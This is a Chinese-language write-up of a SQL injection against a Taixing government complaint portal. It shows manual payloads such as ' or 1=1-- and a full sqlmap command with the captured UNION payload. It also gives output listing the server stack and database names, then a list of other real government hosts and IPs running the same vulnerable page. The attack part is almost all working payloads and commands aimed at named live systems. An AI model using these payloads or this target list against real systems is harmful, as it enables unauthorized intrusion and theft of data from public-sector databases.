以http://qlgk.taixing.gov.cn/peoplefreepress/accusation_list_page.aspx?tszx=0作为测试案例
1)手工测试
在受理编号处输入: 11111111111111111 查询不到记录
在受理编号处输入: 11111111111111111' or 1=1-- 返回1条记录
在受理编号处输入: 11111111111111111' or 1=2-- 查询不到记录
在受理编号处输入:
11111111111111111' or 0<(select count(*) from information_schema.tables)--
返回1条记录
2)使用burpsuit抓取http请求包，再利用Sqlmap自动化测试：
$ sqlmap -r /tmp/qlgk.taixing.gov.cn.dat --level 5 --risk 3 --dbms mssql -p txtComplaintcode --dbs -v 1
---
Place: POST
Parameter: Ctr_Username
Type: UNION query
Title: Generic UNION query (NULL) - 24 columns
Payload: __VIEWSTATE=/wEPDwULLTE1Njc4NDUzODZkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYBBQNsb2fUgnq6GIZiANkhmvgLro1L+PHEbQ==&__EVENTVALIDATION=/wEWBQKY7bHbAgLo0
rLEAgLTnqPgBQKL1YrVCgL83/+4CTx6Ga/EIqF88OuCwIW83Yd8PdXk&txtComplaintcode=qq' UNION ALL SELECT 22,22,22,22,22,22,22,22,22,22,22,22,CHAR(113)+CHAR(102)+CHAR(119)+CHAR(104)+CHA
R(113)+CHAR(108)+CHAR(115)+CHAR(79)+CHAR(66)+CHAR(78)+CHAR(87)+CHAR(78)+CHAR(76)+CHAR(70)+CHAR(73)+CHAR(113)+CHAR(108)+CHAR(115)+CHAR(108)+CHAR(113),22,22,22,22,22,22,22,22,22,22,22--&log.x=15&log.y=6
---
[13:52:03] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008 R2 or 7
web application technology: Microsoft IIS 7.5, ASP.NET, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
[13:52:03] [INFO] fetching database names
[13:52:03] [INFO] the SQL query used returns 7 entries
[13:52:03] [INFO] resumed: "master"
[13:52:03] [INFO] resumed: "model"
[13:52:03] [INFO] resumed: "msdb"
[13:52:03] [INFO] resumed: "tempdb"
[13:52:03] [INFO] resumed: "txgkptweb"
[13:52:03] [INFO] resumed: "txweb"
[13:52:03] [INFO] resumed: "tzmszj"
available databases [7]:
[*] master
[*] model
[*] msdb
[*] tempdb
[*] txgkptweb
[*] txweb
[*] tzmszj
其他测试案例：
http://58.222.212.114:81/peoplefreepress/accusation_list_page.aspx?tszx=0
http://qlgk.taixing.gov.cn/peoplefreepress/accusation_list_page.aspx?tszx=0
http://58.222.216.220/ggweb/peoplefreepress/accusation_list_page.aspx?tszx=0
http://qlgk.taizhou.gov.cn/tzptweb/peoplefreepress/accusation_list_page.aspx?tszx=0
http://58.222.195.110:8081/jyweb/peoplefreepress/accusation_list_page.aspx?tszx=0
http://58.222.211.21/xhweb/peoplefreepress/accusation_list_page.aspx?tszx=0
http://221.230.140.252/tzptweb/peoplefreepress/accusation_list_page.aspx?tszx=0
